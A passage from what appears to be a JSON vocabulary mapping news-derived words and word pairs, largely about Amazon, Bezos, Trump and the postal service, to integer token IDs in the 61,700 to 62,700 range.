61705,\n  \"microsoft employees\": 61706,\n  \"help government\": 61707,\n  \"geniuses\": 61708,\n  \"suggest trump\": 61709,\n  \"trump weighed\": 61710,\n  \"takes time\": 61711,\n  \"city ut\": 61712,\n  \"tapping accelerated\": 61713,\n  \"emily jane\": 61714,\n  \"process revealing\": 61715,\n  \"nov nova\": 61716,\n  \"230m\": 61717,\n  \"users homes\": 61718,\n  \"feature length\": 61719,\n  \"interventions necessarily\": 61720,\n  \"step nikki\": 61721,\n  \"vanity\": 61722,\n  \"realme\": 61723,\n  \"tariq\": 61724,\n  \"won pretend\": 61725,\n  \"mansueto mansueto\": 61726,\n  \"president failing\": 61727,\n  \"company performance\": 61728,\n  \"cuomo memory\": 61729,\n  \"brand separately\": 61730,\n  \"rarefied leverage\": 61731,\n  \"firms currently\": 61732,\n  \"wikipedia just\": 61733,\n  \"florida farming\": 61734,\n  \"geheimzinnige erfgenamen\": 61735,\n  \"attract greater\": 61736,\n  \"dryden\": 61737,\n  \"prices welcomed\": 61738,\n  \"markets posted\": 61739,\n  \"voices\": 61740,\n  \"homelessness crisis\": 61741,\n  \"save act\": 61742,\n  \"employing hundreds\": 61743,\n  \"say wasn\": 61744,\n  \"estimated 137\": 61745,\n  \"trump bitter\": 61746,\n  \"bragging retweeting\": 61747,\n  \"pelosi comments\": 61748,\n  \"start paying\": 61749,\n  \"boockvar everybody\": 61750,\n  \"bezos transformed\": 61751,\n  \"sanders spent\": 61752,\n  \"audrey hilliard\": 61753,\n  \"doing\": 61754,\n  \"animal slaughter\": 61755,\n  \"incensed\": 61756,\n  \"online asked\": 61757,\n  \"doorbell pro\": 61758,\n  \"field\": 61759,\n  \"corporate aristocracy\": 61760,\n  \"bulbous\": 61761,\n  \"program funding\": 61762,\n  \"bartiromo great\": 61763,\n  \"straight cronyism\": 61764,\n  \"violence racial\": 61765,\n  \"pending sales\": 61766,\n  \"finally garnering\": 61767,\n  \"cruze\": 61768,\n  \"heavily gentrified\": 61769,\n  \"sleep\": 61770,\n  \"continues image\": 61771,\n  \"equipment suppliers\": 61772,\n  \"right timed\": 61773,\n  \"american centres\": 61774,\n  \"reported sanchez\": 61775,\n  \"lex luthor\": 61776,\n  \"housing advocates\": 61777,\n  \"certain tech\": 61778,\n  \"bookstore square\": 61779,\n  \"chinese markets\": 61780,\n  \"different occasions\": 61781,\n  \"commodities trade\": 61782,\n  \"council group\": 61783,\n  \"hurt jeff\": 61784,\n  \"economic fallout\": 61785,\n  \"regular day\": 61786,\n  \"rail road\": 61787,\n  \"brought making\": 61788,\n  \"course home\": 61789,\n  \"expect public\": 61790,\n  \"steelers\": 61791,\n  \"usps scam\": 61792,\n  \"phoenix convention\": 61793,\n  \"violent cyber\": 61794,\n  \"reuters speaker\": 61795,\n  \"story toke\": 61796,\n  \"alisha\": 61797,\n  \"travel grocery\": 61798,\n  \"sexual violence\": 61799,\n  \"grim gripping\": 61800,\n  \"cause barack\": 61801,\n  \"simply rejects\": 61802,\n  \"unlawful activity\": 61803,\n  \"antitrust fine\": 61804,\n  \"councilwoman lisa\": 61805,\n  \"traumatic events\": 61806,\n  \"huge win\": 61807,\n  \"populations\": 61808,\n  \"kathryn hahn\": 61809,\n  \"wait ad\": 61810,\n  \"federal judges\": 61811,\n  \"baudelaire\": 61812,\n  \"business initiatives\": 61813,\n  \"lg\": 61814,\n  \"sessions deliver\": 61815,\n  \"distinctive\": 61816,\n  \"lifespans\": 61817,\n  \"1148\": 61818,\n  \"amy berman\": 61819,\n  \"jab holdings\": 61820,\n  \"growth opportunity\": 61821,\n  \"publishing story\": 61822,\n  \"lookner\": 61823,\n  \"threw financial\": 61824,\n  \"spacey foibles\": 61825,\n  \"kint\": 61826,\n  \"ahead midterm\": 61827,\n  \"fall woefully\": 61828,\n  \"obamacare essentially\": 61829,\n  \"indexes\": 61830,\n  \"ply toilet\": 61831,\n  \"ontwitter\": 61832,\n  \"death showed\": 61833,\n  \"seasons words\": 61834,\n  \"revenue losses\": 61835,\n  \"harcourt ottolenghi\": 61836,\n  \"new mayor\": 61837,\n  \"rarely responds\": 61838,\n  \"absorb upstart\": 61839,\n  \"slidenext\": 61840,\n  \"comedian tom\": 61841,\n  \"wolff foto\": 61842,\n  \"violate human\": 61843,\n  \"analyze buying\": 61844,\n  \"using vr\": 61845,\n  \"shabby\": 61846,\n  \"prices jumped\": 61847,\n  \"eps expectations\": 61848,\n  \"migrant kids\": 61849,\n  \"slimme\": 61850,\n  \"je ziektekosten\": 61851,\n  \"competitor netscape\": 61852,\n  \"advertising surged\": 61853,\n  \"council immigrant\": 61854,\n  \"multiple entities\": 61855,\n  \"trump rabbitti\": 61856,\n  \"ariz ross\": 61857,\n  \"called crisis\": 61858,\n  \"171 contributed\": 61859,\n  \"higher rents\": 61860,\n  \"sheff\": 61861,\n  \"media highlight\": 61862,\n  \"vilified amazon\": 61863,\n  \"gf\": 61864,\n  \"entertains children\": 61865,\n  \"fleabag\": 61866,\n  \"barracoon\": 61867,\n  \"virtualization technology\": 61868,\n  \"watch carell\": 61869,\n  \"binding contract\": 61870,\n  \"400 years\": 61871,\n  \"investigation needs\": 61872,\n  \"futures ahead\": 61873,\n  \"farrow did\": 61874,\n  \"months chris\": 61875,\n  \"solution believe\": 61876,\n  \"disruptors\": 61877,\n  \"agency including\": 61878,\n  \"wsj taliban\": 61879,\n  \"jb\": 61880,\n  \"local politiciansreally\": 61881,\n  \"glance\": 61882,\n  \"student lina\": 61883,\n  \"prolonged periods\": 61884,\n  \"growing negative\": 61885,\n  \"ratio soir\": 61886,\n  \"sanchez estimation\": 61887,\n  \"wrote mandating\": 61888,\n  \"staff writers\": 61889,\n  \"trade tariffs\": 61890,\n  \"aba\": 61891,\n  \"selloff amazon\": 61892,\n  \"finn\": 61893,\n  \"reading amazon\": 61894,\n  \"getty just\": 61895,\n  \"interrelated\": 61896,\n  \"instagram apparently\": 61897,\n  \"trump tariffed\": 61898,\n  \"separate aws\": 61899,\n  \"fasa\": 61900,\n  \"mark judges\": 61901,\n  \"various risk\": 61902,\n  \"erdrich\": 61903,\n  \"say loose\": 61904,\n  \"consideration god\": 61905,\n  \"hit dropping\": 61906,\n  \"perfectly clear\": 61907,\n  \"confession\": 61908,\n  \"accuse notorious\": 61909,\n  \"bluntly bezos\": 61910,\n  \"colossal cloud\": 61911,\n  \"warriors\": 61912,\n  \"williamson contributor\": 61913,\n  \"law unsurprisingly\": 61914,\n  \"week hulu\": 61915,\n  \"killing best\": 61916,\n  \"michael rourke\": 61917,\n  \"apple practices\": 61918,\n  \"mandate mandate\": 61919,\n  \"jim halpert\": 61920,\n  \"distinction unless\": 61921,\n  \"tonnes\": 61922,\n  \"gov\": 61923,\n  \"war 2019\": 61924,\n  \"steve frazier\": 61925,\n  \"angeles amazon\": 61926,\n  \"audience editor\": 61927,\n  \"matt york\": 61928,\n  \"brian 61st\": 61929,\n  \"mggtecrzst\": 61930,\n  \"washington offered\": 61931,\n  \"transformed bezos\": 61932,\n  \"space education\": 61933,\n  \"financial toxicity\": 61934,\n  \"flat regressive\": 61935,\n  \"american slang\": 61936,\n  \"baby foto\": 61937,\n  \"2992 environmental\": 61938,\n  \"british exit\": 61939,\n  \"jewish insider\": 61940,\n  \"muster\": 61941,\n  \"border lorry\": 61942,\n  \"actual usps\": 61943,\n  \"negative reviews\": 61944,\n  \"perfect gift\": 61945,\n  \"local drivers\": 61946,\n  \"csnac\": 61947,\n  \"faller\": 61948,\n  \"hot cooked\": 61949,\n  \"sweaters\": 61950,\n  \"defraud\": 61951,\n  \"service rapid\": 61952,\n  \"notwithtrump\": 61953,\n  \"nov upi\": 61954,\n  \"donnelly vetted\": 61955,\n  \"project lorena\": 61956,\n  \"flooding tennessee\": 61957,\n  \"infrastructure problems\": 61958,\n  \"internal challenge\": 61959,\n  \"appear set\": 61960,\n  \"pressure work\": 61961,\n  \"saw fit\": 61962,\n  \"martina mcbride\": 61963,\n  \"stacy mitchell\": 61964,\n  \"brings wages\": 61965,\n  \"rights voting\": 61966,\n  \"vocal opposition\": 61967,\n  \"tm administration\": 61968,\n  \"vestager remarks\": 61969,\n  \"divided government\": 61970,\n  \"new trump\": 61971,\n  \"instance customers\": 61972,\n  \"editorial rttnews\": 61973,\n  \"kss\": 61974,\n  \"ap nibbles\": 61975,\n  \"trumpdeclared unfit\": 61976,\n  \"want affordable\": 61977,\n  \"fabricating\": 61978,\n  \"galactic\": 61979,\n  \"wildlife conservation\": 61980,\n  \"tool known\": 61981,\n  \"sonos charlie\": 61982,\n  \"server719400\": 61983,\n  \"big internet\": 61984,\n  \"michaels stores\": 61985,\n  \"small wholesale\": 61986,\n  \"firm skdknickerbocker\": 61987,\n  \"trump israel\": 61988,\n  \"generally favorable\": 61989,\n  \"7ctwterm 5e1040253796293795842\": 61990,\n  \"quietly tucked\": 61991,\n  \"comcast amgen\": 61992,\n  \"history programs\": 61993,\n  \"walmart kid\": 61994,\n  \"fewer vendor\": 61995,\n  \"million live\": 61996,\n  \"varying levels\": 61997,\n  \"office billions\": 61998,\n  \"ad firm\": 61999,\n  \"75m ultra\": 62000,\n  \"simotas advocated\": 62001,\n  \"legal exposure\": 62002,\n  \"problem right\": 62003,\n  \"2012 study\": 62004,\n  \"running running\": 62005,\n  \"cow pie\": 62006,\n  \"assertion ryan\": 62007,\n  \"creation opportunities\": 62008,\n  \"double package\": 62009,\n  \"extravagant\": 62010,\n  \"company labor\": 62011,\n  \"talks eyed\": 62012,\n  \"computer industry\": 62013,\n  \"david meyer\": 62014,\n  \"america photographer\": 62015,\n  \"rubbing\": 62016,\n  \"senddonaldtospace\": 62017,\n  \"second quarters\": 62018,\n  \"high unemployment\": 62019,\n  \"beth\": 62020,\n  \"recode netflix\": 62021,\n  \"licensing apple\": 62022,\n  \"creswell\": 62023,\n  \"ami david\": 62024,\n  \"cohn feel\": 62025,\n  \"washington technology\": 62026,\n  \"policy decision\": 62027,\n  \"jbillinson\": 62028,\n  \"dsp work\": 62029,\n  \"trade optimism\": 62030,\n  \"sex scandal\": 62031,\n  \"antitrust usps\": 62032,\n  \"keziah weir\": 62033,\n  \"tense exchange\": 62034,\n  \"autonomous test\": 62035,\n  \"eh fox\": 62036,\n  \"taken seriously\": 62037,\n  \"party internal\": 62038,\n  \"salaries ranging\": 62039,\n  \"includes 375\": 62040,\n  \"unpaved\": 62041,\n  \"describing poor\": 62042,\n  \"necessities\": 62043,\n  \"redirect\": 62044,\n  \"balance sheet\": 62045,\n  \"methodist\": 62046,\n  \"adjusting\": 62047,\n  \"trump blessing\": 62048,\n  \"netflix amanda\": 62049,\n  \"chinese region\": 62050,\n  \"programs focused\": 62051,\n  \"pivotal phase\": 62052,\n  \"growing rival\": 62053,\n  \"reads\": 62054,\n  \"legislation\": 62055,\n  \"bezos sounds\": 62056,\n  \"election manipulation\": 62057,\n  \"looks innocent\": 62058,\n  \"focused investigation\": 62059,\n  \"aswould say\": 62060,\n  \"good investors\": 62061,\n  \"local day\": 62062,\n  \"obliged\": 62063,\n  \"people blame\": 62064,\n  \"grumpy\": 62065,\n  \"arm press\": 62066,\n  \"brave love\": 62067,\n  \"father mental\": 62068,\n  \"inventory levels\": 62069,\n  \"presided\": 62070,\n  \"smooth sailing\": 62071,\n  \"today broadsheets\": 62072,\n  \"thanked sanders\": 62073,\n  \"zinkes stand\": 62074,\n  \"bezos linked\": 62075,\n  \"florida keys\": 62076,\n  \"qualities\": 62077,\n  \"extraordinary new\": 62078,\n  \"best rap\": 62079,\n  \"burden doesn\": 62080,\n  \"party whips\": 62081,\n  \"forbes kylie\": 62082,\n  \"researcher\": 62083,\n  \"sightings screening\": 62084,\n  \"breakupbigtech\": 62085,\n  \"donating portion\": 62086,\n  \"final straw\": 62087,\n  \"active customer\": 62088,\n  \"1966\": 62089,\n  \"rants sense\": 62090,\n  \"alleges amazon\": 62091,\n  \"democrats hail\": 62092,\n  \"2018 contributor\": 62093,\n  \"night listen\": 62094,\n  \"chair fau\": 62095,\n  \"aspects\": 62096,\n  \"sharpton\": 62097,\n  \"hapyhairstylist\": 62098,\n  \"power long\": 62099,\n  \"massive profits\": 62100,\n  \"don help\": 62101,\n  \"litigation game\": 62102,\n  \"bustling port\": 62103,\n  \"spy wasn\": 62104,\n  \"prodigious\": 62105,\n  \"bezos empire\": 62106,\n  \"business perspective\": 62107,\n  \"style movements\": 62108,\n  \"opportunities amazon\": 62109,\n  \"admitting\": 62110,\n  \"full16x9\": 62111,\n  \"brazil commerce\": 62112,\n  \"new satellite\": 62113,\n  \"boost postal\": 62114,\n  \"message seeking\": 62115,\n  \"mss cnn\": 62116,\n  \"prosecutors granted\": 62117,\n  \"activity analysts\": 62118,\n  \"offering chief\": 62119,\n  \"union diplomats\": 62120,\n  \"tsx breakouts\": 62121,\n  \"independent organic\": 62122,\n  \"david goldberg\": 62123,\n  \"locher megan\": 62124,\n  \"families read\": 62125,\n  \"stronger session\": 62126,\n  \"hardly matters\": 62127,\n  \"influence just\": 62128,\n  \"china coffee\": 62129,\n  \"blood serum\": 62130,\n  \"guarantee\": 62131,\n  \"instead sold\": 62132,\n  \"seller secret\": 62133,\n  \"guthrie hugh\": 62134,\n  \"sensitive government\": 62135,\n  \"trump nyt\": 62136,\n  \"revenue stems\": 62137,\n  \"actual body\": 62138,\n  \"video analysis\": 62139,\n  \"mark frost\": 62140,\n  \"tidings\": 62141,\n  \"doesn appear\": 62142,\n  \"heavy capex\": 62143,\n  \"prove costly\": 62144,\n  \"392\": 62145,\n  \"commerce store\": 62146,\n  \"2019 eurovision\": 62147,\n  \"strategist matt\": 62148,\n  \"driven packages\": 62149,\n  \"trump cancels\": 62150,\n  \"alleged richest\": 62151,\n  \"bezoses told\": 62152,\n  \"refugees fleeing\": 62153,\n  \"cantor edith\": 62154,\n  \"actress recording\": 62155,\n  \"dominic cooper\": 62156,\n  \"natural disasters\": 62157,\n  \"blackstones wien\": 62158,\n  \"fubotv website\": 62159,\n  \"inaugurated\": 62160,\n  \"tim armstrong\": 62161,\n  \"sign immigration\": 62162,\n  \"contract suggests\": 62163,\n  \"pemuda\": 62164,\n  \"willget\": 62165,\n  \"troll\": 62166,\n  \"receive half\": 62167,\n  \"average employee\": 62168,\n  \"arun kumar\": 62169,\n  \"denies\": 62170,\n  \"initiative resulted\": 62171,\n  \"conor sen\": 62172,\n  \"allegations iconimageurl\": 62173,\n  \"tariffs 2019\": 62174,\n  \"staggering number\": 62175,\n  \"transport planes\": 62176,\n  \"service labor\": 62177,\n  \"acceptance\": 62178,\n  \"corporate culture\": 62179,\n  \"maisel success\": 62180,\n  \"spending priorities\": 62181,\n  \"italian budget\": 62182,\n  \"scared\": 62183,\n  \"paul hewson\": 62184,\n  \"explicit instructions\": 62185,\n  \"stealing technology\": 62186,\n  \"choppy political\": 62187,\n  \"traces fonda\": 62188,\n  \"links thrown\": 62189,\n  \"briefcase duffel\": 62190,\n  \"parade cr\": 62191,\n  \"workers sign\": 62192,\n  \"controversial ones\": 62193,\n  \"questionable practices\": 62194,\n  \"mcdermid\": 62195,\n  \"powerful forces\": 62196,\n  \"news nicole\": 62197,\n  \"chatham house\": 62198,\n  \"videoplayer handleadoncvpvisibilitychange\": 62199,\n  \"jeffbezos power\": 62200,\n  \"federal rebate\": 62201,\n  \"30000 180917225659912\": 62202,\n  \"marijuana seeds\": 62203,\n  \"incited\": 62204,\n  \"regulation asked\": 62205,\n  \"new national\": 62206,\n  \"217 185\": 62207,\n  \"divisions rising\": 62208,\n  \"presidential correspondence\": 62209,\n  \"steep corrections\": 62210,\n  \"does sears\": 62211,\n  \"faces amazon\": 62212,\n  \"ordered energy\": 62213,\n  \"invictus\": 62214,\n  \"cashless coming\": 62215,\n  \"illiterate\": 62216,\n  \"organization empowered\": 62217,\n  \"tourists possibly\": 62218,\n  \"directive says\": 62219,\n  \"1q adj\": 62220,\n  \"stonecrest\": 62221,\n  \"trump spiritual\": 62222,\n  \"saying ou\": 62223,\n  \"trumpspeak\": 62224,\n  \"included house\": 62225,\n  \"dailycallernewsfoundation\": 62226,\n  \"want government\": 62227,\n  \"300 shares\": 62228,\n  \"growing urge\": 62229,\n  \"hoxie shows\": 62230,\n  \"articles \\u0645\\u0642\\u0627\\u0637\\u0639\\u0647_\\u0627\\u0645\\u0627\\u0632\\u0648\\u0646\": 62231,\n  \"published 100\": 62232,\n  \"california gov\": 62233,\n  \"1994 law\": 62234,\n  \"parents listen\": 62235,\n  \"inch high\": 62236,\n  \"says brexit\": 62237,\n  \"reworking negotiated\": 62238,\n  \"000 acres\": 62239,\n  \"say mislabels\": 62240,\n  \"decreasing political\": 62241,\n  \"enlistees\": 62242,\n  \"don exactly\": 62243,\n  \"department digital\": 62244,\n  \"workforce thanks\": 62245,\n  \"amazon concern\": 62246,\n  \"penalize\": 62247,\n  \"occur amazon\": 62248,\n  \"street earnings\": 62249,\n  \"start delivery\": 62250,\n  \"plan announced\": 62251,\n  \"conservative outlet\": 62252,\n  \"total claims\": 62253,\n  \"fathering child\": 62254,\n  \"says startup\": 62255,\n  \"food store\": 62256,\n  \"highlighting sales\": 62257,\n  \"expect recession\": 62258,\n  \"bull\": 62259,\n  \"ceo\": 62260,\n  \"vt plans\": 62261,\n  \"encourage student\": 62262,\n  \"bezos sit\": 62263,\n  \"sketchy claims\": 62264,\n  \"reassurances president\": 62265,\n  \"broad collection\": 62266,\n  \"intel microsoft\": 62267,\n  \"usps alleging\": 62268,\n  \"routinely negotiate\": 62269,\n  \"pretty insanely\": 62270,\n  \"ampproject org\": 62271,\n  \"blacks approval\": 62272,\n  \"skipped null\": 62273,\n  \"allows guilty\": 62274,\n  \"cardinal george\": 62275,\n  \"weibo source\": 62276,\n  \"american bookseller\": 62277,\n  \"kb4134660\": 62278,\n  \"simple theory\": 62279,\n  \"gaps\": 62280,\n  \"split resulted\": 62281,\n  \"jennings blames\": 62282,\n  \"hotels accounting\": 62283,\n  \"appreciable\": 62284,\n  \"irs data\": 62285,\n  \"isn retailer\": 62286,\n  \"run business\": 62287,\n  \"japan posted\": 62288,\n  \"meeting privately\": 62289,\n  \"despite lack\": 62290,\n  \"walking fine\": 62291,\n  \"disclosure agreement\": 62292,\n  \"caption close\": 62293,\n  \"overcoming\": 62294,\n  \"emergency\": 62295,\n  \"allies box\": 62296,\n  \"indigenous land\": 62297,\n  \"overall quiet\": 62298,\n  \"research associate\": 62299,\n  \"flynn read\": 62300,\n  \"imported shoes\": 62301,\n  \"video going\": 62302,\n  \"journal using\": 62303,\n  \"ozone layer\": 62304,\n  \"told s\\u00e1nchez\": 62305,\n  \"gun rights\": 62306,\n  \"instruments\": 62307,\n  \"amazon relentless\": 62308,\n  \"hours year\": 62309,\n  \"say logistics\": 62310,\n  \"deserves credit\": 62311,\n  \"firms recognizes\": 62312,\n  \"2017 mccain\": 62313,\n  \"mrnashington\": 62314,\n  \"hands referring\": 62315,\n  \"finance ollow\": 62316,\n  \"current structure\": 62317,\n  \"affair john\": 62318,\n  \"city citywide\": 62319,\n  \"ribbing\": 62320,\n  \"ally john\": 62321,\n  \"describes spicer\": 62322,\n  \"sheets amazon\": 62323,\n  \"operated\": 62324,\n  \"institutional professional\": 62325,\n  \"riders realize\": 62326,\n  \"favors foreign\": 62327,\n  \"possible explain\": 62328,\n  \"staff apple\": 62329,\n  \"bananah life\": 62330,\n  \"analysis firm\": 62331,\n  \"breaks given\": 62332,\n  \"goals seeing\": 62333,\n  \"funds story\": 62334,\n  \"deal new\": 62335,\n  \"curb migration\": 62336,\n  \"gail\": 62337,\n  \"amazon fledgling\": 62338,\n  \"cap cap\": 62339,\n  \"giant led\": 62340,\n  \"significant portion\": 62341,\n  \"lanny\": 62342,\n  \"pertaining\": 62343,\n  \"man hispanic\": 62344,\n  \"inhalants\": 62345,\n  \"lurid details\": 62346,\n  \"sonny gray\": 62347,\n  \"cnl_calculated_color\": 62348,\n  \"bias accusations\": 62349,\n  \"added congresswoman\": 62350,\n  \"brendan smialowski\": 62351,\n  \"khashoggi criticism\": 62352,\n  \"british thriller\": 62353,\n  \"china continued\": 62354,\n  \"company nbcuniversal\": 62355,\n  \"crews repaired\": 62356,\n  \"700 people\": 62357,\n  \"photographer luke\": 62358,\n  \"suliman detailing\": 62359,\n  \"twitter posting\": 62360,\n  \"reward shifted\": 62361,\n  \"digital food\": 62362,\n  \"previous collaborations\": 62363,\n  \"product inventories\": 62364,\n  \"posts included\": 62365,\n  \"particular morning\": 62366,\n  \"new examples\": 62367,\n  \"oboist hailey\": 62368,\n  \"announcement included\": 62369,\n  \"giant sells\": 62370,\n  \"amazon friend\": 62371,\n  \"arabia trump\": 62372,\n  \"hussein invasion\": 62373,\n  \"published trump\": 62374,\n  \"cranial\": 62375,\n  \"price tests\": 62376,\n  \"gives pitiful\": 62377,\n  \"bezos wrote\": 62378,\n  \"scorching commentary\": 62379,\n  \"store vast\": 62380,\n  \"beautifully footnoted\": 62381,\n  \"ross know\": 62382,\n  \"fund shows\": 62383,\n  \"british media\": 62384,\n  \"largest price\": 62385,\n  \"tax laws\": 62386,\n  \"liars leakers\": 62387,\n  \"102 click\": 62388,\n  \"eyeshadow\": 62389,\n  \"brings record\": 62390,\n  \"facebook david\": 62391,\n  \"plants panelists\": 62392,\n  \"2018 turning\": 62393,\n  \"chilled\": 62394,\n  \"landing girlfriend\": 62395,\n  \"biogen\": 62396,\n  \"hugh amazon\": 62397,\n  \"heights representatives\": 62398,\n  \"fiction fakenews\": 62399,\n  \"typical political\": 62400,\n  \"jennifer aniston\": 62401,\n  \"lowest wage\": 62402,\n  \"advocates fear\": 62403,\n  \"culture twitter\": 62404,\n  \"trump received\": 62405,\n  \"dems question\": 62406,\n  \"ignore short\": 62407,\n  \"brew including\": 62408,\n  \"drama depicted\": 62409,\n  \"private messaging\": 62410,\n  \"seattle shame\": 62411,\n  \"tool free\": 62412,\n  \"eff\": 62413,\n  \"reverend billy\": 62414,\n  \"growth working\": 62415,\n  \"publix announces\": 62416,\n  \"order forcing\": 62417,\n  \"issue statement\": 62418,\n  \"commercial entities\": 62419,\n  \"shipping practices\": 62420,\n  \"fees\": 62421,\n  \"daniel zhang\": 62422,\n  \"reuters estimates\": 62423,\n  \"humane surreal\": 62424,\n  \"office expansion\": 62425,\n  \"entry alright\": 62426,\n  \"business technology\": 62427,\n  \"exercised bad\": 62428,\n  \"society different\": 62429,\n  \"record profits\": 62430,\n  \"life miller\": 62431,\n  \"home schooling\": 62432,\n  \"couple having\": 62433,\n  \"represents growing\": 62434,\n  \"surveyed say\": 62435,\n  \"t9x q0\": 62436,\n  \"studio happy\": 62437,\n  \"affection\": 62438,\n  \"governments increasingly\": 62439,\n  \"facebook republicans\": 62440,\n  \"briefed trump\": 62441,\n  \"boston steven\": 62442,\n  \"officer excoriated\": 62443,\n  \"media dangerous\": 62444,\n  \"deport immigrants\": 62445,\n  \"collusion text\": 62446,\n  \"dsw sent\": 62447,\n  \"interactive app\": 62448,\n  \"finances trump\": 62449,\n  \"study\": 62450,\n  \"watch fox\": 62451,\n  \"regain voting\": 62452,\n  \"built better\": 62453,\n  \"officers teachers\": 62454,\n  \"making incendiary\": 62455,\n  \"concern\": 62456,\n  \"updates provide\": 62457,\n  \"o4e readystate\": 62458,\n  \"enforcement elicited\": 62459,\n  \"concrete effect\": 62460,\n  \"president hotstar\": 62461,\n  \"solely ship\": 62462,\n  \"rekognition amazon\": 62463,\n  \"current diverse\": 62464,\n  \"gulf state\": 62465,\n  \"eu borders\": 62466,\n  \"duckduckgo\": 62467,\n  \"celsius gradations\": 62468,\n  \"embarrassment congress\": 62469,\n  \"c0 wa\": 62470,\n  \"steadily climbed\": 62471,\n  \"recurring\": 62472,\n  \"surveyed walmart\": 62473,\n  \"nightcrawler\": 62474,\n  \"mehic\": 62475,\n  \"employees dollar\": 62476,\n  \"sponsors\": 62477,\n  \"voice activation\": 62478,\n  \"china concludes\": 62479,\n  \"gay wedding\": 62480,\n  \"real details\": 62481,\n  \"piers floating\": 62482,\n  \"carafano\": 62483,\n  \"decline according\": 62484,\n  \"office expense\": 62485,\n  \"years romanian\": 62486,\n  \"premiums month\": 62487,\n  \"cnbc amazon\": 62488,\n  \"tweets cost\": 62489,\n  \"everybody days\": 62490,\n  \"potential 98point6\": 62491,\n  \"different pre\": 62492,\n  \"clouding\": 62493,\n  \"democratic legislature\": 62494,\n  \"wouldn seek\": 62495,\n  \"lost combined\": 62496,\n  \"office leaving\": 62497,\n  \"divorce amazon\": 62498,\n  \"city development\": 62499,\n  \"report julia\": 62500,\n  \"harris started\": 62501,\n  \"leroy documents\": 62502,\n  \"hardware dedicated\": 62503,\n  \"unrestricted access\": 62504,\n  \"charitable foundation\": 62505,\n  \"613 300\": 62506,\n  \"force double\": 62507,\n  \"mirror seattle\": 62508,\n  \"korede\": 62509,\n  \"vainly trying\": 62510,\n  \"refundable portion\": 62511,\n  \"include recommendation\": 62512,\n  \"opening arguments\": 62513,\n  \"building sites\": 62514,\n  \"restraining\": 62515,\n  \"labor organization\": 62516,\n  \"mark bittman\": 62517,\n  \"results worry\": 62518,\n  \"order stated\": 62519,\n  \"biggest hold\": 62520,\n  \"divorce 136\": 62521,\n  \"squire\": 62522,\n  \"direction promises\": 62523,\n  \"resorts\": 62524,\n  \"apple pay\": 62525,\n  \"pat garofalo\": 62526,\n  \"elvis\": 62527,\n  \"imagine\": 62528,\n  \"dual sourced\": 62529,\n  \"branded airplanes\": 62530,\n  \"developers need\": 62531,\n  \"certain segment\": 62532,\n  \"jabs accusing\": 62533,\n  \"initial deal\": 62534,\n  \"resume high\": 62535,\n  \"black progressives\": 62536,\n  \"trumps press\": 62537,\n  \"bipartisan issue\": 62538,\n  \"edges marshalls\": 62539,\n  \"traveling violations\": 62540,\n  \"firsts emerge\": 62541,\n  \"eric amazon\": 62542,\n  \"pictures sent\": 62543,\n  \"deal amazon\": 62544,\n  \"know market\": 62545,\n  \"rise amazon\": 62546,\n  \"sweeping legislation\": 62547,\n  \"single thing\": 62548,\n  \"marius josipovi\\u0107\": 62549,\n  \"faulty\": 62550,\n  \"investigation mcconnell\": 62551,\n  \"brains chicago\": 62552,\n  \"important struggle\": 62553,\n  \"sobriquet\": 62554,\n  \"ghana 1st\": 62555,\n  \"tone\": 62556,\n  \"achingly slow\": 62557,\n  \"rally mother\": 62558,\n  \"brothers\": 62559,\n  \"doing variety\": 62560,\n  \"interview classmate\": 62561,\n  \"analysis 2018\": 62562,\n  \"constituencies\": 62563,\n  \"precarious situation\": 62564,\n  \"toilets money\": 62565,\n  \"bermuda\": 62566,\n  \"sanders frames\": 62567,\n  \"senate delegation\": 62568,\n  \"saari\": 62569,\n  \"granted anonymity\": 62570,\n  \"guides\": 62571,\n  \"dog donald\": 62572,\n  \"west chief\": 62573,\n  \"extremely stylish\": 62574,\n  \"told political\": 62575,\n  \"story high\": 62576,\n  \"043 new\": 62577,\n  \"did echo\": 62578,\n  \"income operating\": 62579,\n  \"landlord died\": 62580,\n  \"payments totaling\": 62581,\n  \"parties\": 62582,\n  \"wants crew\": 62583,\n  \"clinton nomination\": 62584,\n  \"stephen ju\": 62585,\n  \"taken advantage\": 62586,\n  \"bull gap\": 62587,\n  \"inspiring story\": 62588,\n  \"mcrae\": 62589,\n  \"floridaflu\": 62590,\n  \"training brochure\": 62591,\n  \"enormously powerful\": 62592,\n  \"chart labor\": 62593,\n  \"matt cardy\": 62594,\n  \"tk\": 62595,\n  \"tightfistedness\": 62596,\n  \"sonyliv having\": 62597,\n  \"chubby man\": 62598,\n  \"pay just\": 62599,\n  \"spell trouble\": 62600,\n  \"gold yanny\": 62601,\n  \"mandated deadline\": 62602,\n  \"line disputes\": 62603,\n  \"ira loss\": 62604,\n  \"building second\": 62605,\n  \"million fine\": 62606,\n  \"arranged earlier\": 62607,\n  \"rules change\": 62608,\n  \"0sxtpiypxh\": 62609,\n  \"spearheading\": 62610,\n  \"america complaint\": 62611,\n  \"oregon washington\": 62612,\n  \"week revealed\": 62613,\n  \"market phil\": 62614,\n  \"called alt\": 62615,\n  \"forests implies\": 62616,\n  \"woolfolk\": 62617,\n  \"himjoin\": 62618,\n  \"video upcoming\": 62619,\n  \"items contain\": 62620,\n  \"msnbc\": 62621,\n  \"complaint says\": 62622,\n  \"fleeing\": 62623,\n  \"breakingviews president\": 62624,\n  \"correspondent moynihan\": 62625,\n  \"kentucky armored\": 62626,\n  \"ozimek doubted\": 62627,\n  \"analogy books\": 62628,\n  \"price comparison\": 62629,\n  \"termination\": 62630,\n  \"130 000\": 62631,\n  \"counterfeiting infringes\": 62632,\n  \"rags\": 62633,\n  \"understand lot\": 62634,\n  \"clicking clean\": 62635,\n  \"devon franklin\": 62636,\n  \"impact skyrocketing\": 62637,\n  \"dam collapse\": 62638,\n  \"owner josh\": 62639,\n  \"office granted\": 62640,\n  \"investigator hired\": 62641,\n  \"baccardex\": 62642,\n  \"amazon ramps\": 62643,\n  \"sell risks\": 62644,\n  \"media hanson\": 62645,\n  \"sleaze factory\": 62646,\n  \"propaganda\": 62647,\n  \"partisan think\": 62648,\n  \"legal representation\": 62649,\n  \"sounding jovial\": 62650,\n  \"tabloid trying\": 62651,\n  \"opposite antitrust\": 62652,\n  \"index additional\": 62653,\n  \"darrell issa\": 62654,\n  \"onlineshopping horrible\": 62655,\n  \"wall cbp\": 62656,\n  \"bigots rotting\": 62657,\n  \"loves best\": 62658,\n  \"economic policy\": 62659,\n  \"anti tobacco\": 62660,\n  \"tandem\": 62661,\n  \"pressure medication\": 62662,\n  \"pass 1500\": 62663,\n  \"entrance\": 62664,\n  \"little dip\": 62665,\n  \"fields used\": 62666,\n  \"georgia midterms\": 62667,\n  \"kauffman\": 62668,\n  \"logging 